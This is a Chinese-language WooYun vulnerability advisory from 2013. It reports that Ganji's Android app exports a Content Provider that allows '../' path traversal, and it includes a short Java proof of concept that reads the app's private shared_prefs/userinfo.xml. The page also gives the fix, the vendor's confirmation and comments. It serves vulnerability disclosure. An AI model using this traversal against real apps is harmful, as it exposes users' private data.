当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-044407

漏洞标题:赶集网Android客户端Content Provider组件任意文件读取漏洞

相关厂商:赶集网

漏洞作者: x3xtxt

提交时间:2013-11-29 12:53

修复时间:2014-02-27 12:54

公开时间:2014-02-27 12:54

漏洞类型:用户敏感数据泄漏

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-11-29: 细节已通知厂商并且等待厂商处理中
2013-11-29: 厂商已经确认,细节仅向厂商公开
2013-12-02: 细节向第三方安全合作伙伴开放
2014-01-23: 细节向核心白帽子及相关领域专家公开
2014-02-02: 细节向普通白帽子公开
2014-02-12: 细节向实习白帽子公开
2014-02-27: 细节向公众公开

简要描述:

赶集客户端APP(Android版)Content Provider组件存在安全漏洞,利用此漏洞,第三方APP可以读取任赶集网客户端意私有文件,造成敏感信息泄露。

详细说明:

赶集网客户端APP的实现中定义了一个可以访问本地文件的Content Provider组件,默认的android:exported="true",对应com.ganji.android.jobs.html5.LocalFileContentProvider,该Provider实现了openFile()接口,通过此接口可以访问内部存储app_webview目录下的数据,由于后台未能对目标文件地址进行有效判断,可以通过"../"实现目录跨越,实现对任意私有数据的访问(当然,也可以访问任意外部存储数据,只是我们更关心私有敏感数据,不是麽)。

漏洞证明:

public void GJContentProviderFileOperations(){ 
try{
InputStream in = getContentResolver().openInputStream(Uri.parse("content://com.ganji.html5.localfile.1/webview/../../shared_prefs/userinfo.xml"));
ByteArrayOutputStream out = new ByteArrayOutputStream();
byte[] buffer = new byte[1024];
int n = in.read(buffer);
while(n>0){
out.write(buffer, 0, n);
n = in.read(buffer);
Toast.makeText(getBaseContext(), out.toString(), Toast.LENGTH_LONG).show();
}
}catch(Exception e){
debugInfo(e.getMessage());
}
}

修复方案:

凡只用于内部调用的组件,导出配置都应该设置为false,即android:exported="false"。

版权声明:转载请注明来源 x3xtxt@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2013-11-29 13:49

厂商回复:

非常感谢您的报告,问题已着手处理,感谢大家对赶集业务安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。

最新状态:

2013-11-29:从纯粹的技术和漏洞利用的角度,给15 rank不为过。但是综合考虑android上各种越狱,所以影响会稍微小一点,给12 rank。


漏洞评价:

评论

  1. 2013-11-29 13:55 | xsjswt ( 普通白帽子 | Rank:156 漏洞数:49 | 我思故我猥琐,我猥琐故我强大)

    差不多了,root和越狱一个意思

  2. 2013-11-29 14:40 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1727 漏洞数:140 | 如果大海能够带走我的矮丑...)

    @xsjswt 不带你这样玩儿的~

  3. 2013-11-29 16:11 | win32 ( 实习白帽子 | Rank:36 漏洞数:9 | 溜达)

    怎么变路人了。。。